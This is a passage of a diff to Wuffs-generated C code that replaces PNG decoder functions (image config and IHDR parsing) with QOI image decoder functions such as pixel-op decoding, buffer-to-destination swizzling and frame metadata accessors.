WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_bk = 7936u; ++ if (self->private_impl.f_remaining_pixels_times_4 < 7936u) { ++ v_bk = ((uint32_t)(self->private_impl.f_remaining_pixels_times_4)); ++ } ++ while (v_bi < v_bk) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); +- } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_checksum_want = t_3; +- } +- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- self->private_impl.f_seen_ihdr = true; +- } else if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- continue; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); +- if (self->private_impl.f_chunk_type == 1413563465u) { +- if ( ! self->private_impl.f_seen_actl || self->private_impl.f_seen_fctl) { +- break; ++ if (v_c8 == 254u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ self->private_data.f_pixel[2u] = t_1; + } +- self->private_impl.f_seen_idat = true; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- if (self->private_impl.f_seen_idat && self->private_impl.f_seen_fctl) { +- break; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ self->private_data.f_pixel[1u] = t_2; + } +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- iop_a_src += 8u; +- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { +- self->private_impl.f_chunk_type_array[0u] = ((uint8_t)((self->private_impl.f_chunk_type >> 0u))); +- self->private_impl.f_chunk_type_array[1u] = ((uint8_t)((self->private_impl.f_chunk_type >> 8u))); +- self->private_impl.f_chunk_type_array[2u] = ((uint8_t)((self->private_impl.f_chunk_type >> 16u))); +- self->private_impl.f_chunk_type_array[3u] = ((uint8_t)((self->private_impl.f_chunk_type >> 24u))); +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- } +- while (true) { +- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); + { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- wuffs_base__status t_4 = wuffs_png__decoder__decode_other_chunk(self, a_src, false); +- v_status = t_4; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ uint8_t t_3 = *iop_a_src++; ++ self->private_data.f_pixel[0u] = t_3; ++ } ++ } else if (v_c8 == 255u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_4 = *iop_a_src++; ++ self->private_data.f_pixel[2u] = t_4; + } +- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ self->private_data.f_pixel[1u] = t_5; + } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ self->private_data.f_pixel[0u] = t_6; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- } +- if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- uint32_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 24) { +- t_5 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_7 = *iop_a_src++; ++ self->private_data.f_pixel[3u] = t_7; + } +- v_checksum_want = t_5; +- } +- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u) && (v_checksum_have != v_checksum_want)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- } +- if ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte) { +- status = wuffs_base__make_status(wuffs_png__error__missing_palette); +- goto exit; +- } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_first_config_io_position = self->private_impl.f_frame_config_io_position; +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_dst_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_first_config_io_position, +- ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns)); +- } +- if ( ! self->private_impl.f_seen_actl) { +- self->private_impl.f_num_animation_frames_value = 1u; +- self->private_impl.f_first_rect_x0 = 0u; +- self->private_impl.f_first_rect_y0 = 0u; +- self->private_impl.f_first_rect_x1 = self->private_impl.f_width; +- self->private_impl.f_first_rect_y1 = self->private_impl.f_height; +- self->private_impl.f_first_duration = 0u; +- self->private_impl.f_first_disposal = 0u; +- self->private_impl.f_first_overwrite_instead_of_blend = false; +- } +- self->private_impl.f_call_sequence = 32u; ++ } else if (((uint8_t)(v_c8 >> 6u)) == 0u) { ++ v_ci = (4u * ((uint32_t)(((uint8_t)(v_c8 & 63u))))); ++ self->private_data.f_pixel[0u] = self->private_data.f_cache[(v_ci + 0u)]; ++ self->private_data.f_pixel[1u] = self->private_data.f_cache[(v_ci + 1u)]; ++ self->private_data.f_pixel[2u] = self->private_data.f_cache[(v_ci + 2u)]; ++ self->private_data.f_pixel[3u] = self->private_data.f_cache[(v_ci + 3u)]; ++ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; ++ v_bi += 4u; ++ continue; ++ } else if (((uint8_t)(v_c8 >> 6u)) == 1u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_pixel[2u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 4u)) & 3u)) + 254u)); ++ self->private_data.f_pixel[1u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 2u)) & 3u)) + 254u)); ++ self->private_data.f_pixel[0u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 0u)) & 3u)) + 254u)); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (((uint8_t)(v_c8 >> 6u)) == 2u) { ++ v_dg = ((uint8_t)(((uint8_t)(v_c8 & 63u)) + 224u)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_pixel[2u] += ((uint8_t)(((uint8_t)(v_dg + 248u)) + ((uint8_t)(15u & ((uint8_t)(v_c8 >> 4u)))))); ++ self->private_data.f_pixel[1u] += v_dg; ++ self->private_data.f_pixel[0u] += ((uint8_t)(((uint8_t)(v_dg + 248u)) + ((uint8_t)(15u & ((uint8_t)(v_c8 >> 0u)))))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ v_bj = (v_bi + (4u * (63u & (1u + ((uint32_t)(v_c8)))))); ++ while (v_bi < v_bj) { ++ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; ++ v_bi += 4u; ++ } ++ continue; ++ } ++ v_hash4 = (4u * (63u & ((((uint32_t)(self->private_data.f_pixel[2u])) * 3u) + ++ (((uint32_t)(self->private_data.f_pixel[1u])) * 5u) + ++ (((uint32_t)(self->private_data.f_pixel[0u])) * 7u) + ++ (((uint32_t)(self->private_data.f_pixel[3u])) * 11u)))); ++ self->private_data.f_cache[(v_hash4 + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_cache[(v_hash4 + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_cache[(v_hash4 + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_cache[(v_hash4 + 3u)] = self->private_data.f_pixel[3u]; ++ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; ++ v_bi += 4u; ++ } ++ self->private_impl.f_buffer_index = v_bi; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_from_src_to_buffer = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_checksum_have = v_checksum_have; ++ self->private_impl.p_from_src_to_buffer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_from_src_to_buffer.v_dg = v_dg; ++ self->private_data.s_from_src_to_buffer.v_bi = v_bi; ++ self->private_data.s_from_src_to_buffer.v_bk = v_bk; + + goto exit; + exit: +@@ -54825,1068 +68222,1113 @@ wuffs_png__decoder__do_decode_image_config( + return status; + } + +-// -------- func png.decoder.decode_ihdr ++// -------- func qoi.decoder.from_buffer_to_dst + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_ihdr( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_a32 = 0; +- uint8_t v_a8 = 0; ++wuffs_qoi__decoder__from_buffer_to_dst( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint32_t v_bi = 0; ++ uint32_t v_rem_x = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ wuffs_base__slice_u8 v_src = {0}; ++ uint32_t v_src_length = 0; ++ uint64_t v_i = 0; + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } +- +- uint32_t coro_susp_point = self->private_impl.p_decode_ihdr[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_ihdr[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_ihdr[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_a32 = t_0; +- } +- if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } else if (v_a32 > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_width = v_a32; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_ihdr[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_ihdr[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_a32 = t_1; +- } +- if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } else if (v_a32 > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_height = v_a32; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_a8 = t_2; +- } +- if (v_a8 > 16u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } +- self->private_impl.f_depth = v_a8; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_a8 = t_3; +- } +- if ((v_a8 == 1u) || (v_a8 == 5u) || (v_a8 > 6u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } +- self->private_impl.f_color_type = v_a8; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_a8 = t_4; +- } +- if (v_a8 != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (v_bi < self->private_impl.f_buffer_index) { ++ if (self->private_impl.f_width <= self->private_impl.f_dst_x) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += 1u; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; + } +- uint8_t t_5 = *iop_a_src++; +- v_a8 = t_5; +- } +- if (v_a8 != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ v_rem_x = self->private_impl.f_width; ++ } else { ++ v_rem_x = (self->private_impl.f_width - self->private_impl.f_dst_x); + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_6 = *iop_a_src++; +- v_a8 = t_6; ++ v_src = wuffs_base__make_slice_u8_ij(self->private_data.f_buffer, v_bi, self->private_impl.f_buffer_index); ++ if (((uint64_t)((4u * v_rem_x))) < ((uint64_t)(v_src.len))) { ++ v_src = wuffs_base__slice_u8__subslice_j(v_src, ((uint64_t)((4u * v_rem_x)))); + } +- if (v_a8 == 0u) { +- self->private_impl.f_interlace_pass = 0u; +- } else if (v_a8 == 1u) { +- self->private_impl.f_interlace_pass = 1u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ v_src_length = ((uint32_t)(((uint64_t)(v_src.len)))); ++ v_bi += v_src_length; ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); + } +- self->private_impl.f_filter_distance = 0u; +- wuffs_png__decoder__assign_filter_distance(self); +- if (self->private_impl.f_filter_distance == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ self->private_impl.f_dst_x += (v_src_length / 4u); ++ if (v_i < ((uint64_t)(v_dst.len))) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), wuffs_base__pixel_buffer__palette(a_dst), v_src); + } +- self->private_impl.f_overall_workbuf_length = (((uint64_t)(self->private_impl.f_height)) * (1u + wuffs_png__decoder__calculate_bytes_per_row(self, self->private_impl.f_width))); +- wuffs_png__decoder__choose_filter_implementations(self); ++ } ++ return wuffs_base__make_status(NULL); ++} + +- goto ok; +- ok: +- self->private_impl.p_decode_ihdr[0] = 0; +- goto exit; ++// -------- func qoi.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_qoi__decoder__frame_dirty_rect( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_ihdr[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func qoi.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_qoi__decoder__num_animation_loops( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func qoi.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_qoi__decoder__num_decoded_frame_configs( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} + ++// -------- func qoi.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_qoi__decoder__num_decoded_frames( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func qoi.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__restart_frame( ++ wuffs_qoi__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if ((a_index != 0u) || (a_io_position != 14u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func qoi.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_qoi__decoder__set_report_metadata( ++ wuffs_qoi__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func qoi.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__tell_me_more( ++ wuffs_qoi__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: + goto exit; + exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func png.decoder.assign_filter_distance ++// -------- func qoi.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_qoi__decoder__workbuf_len( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 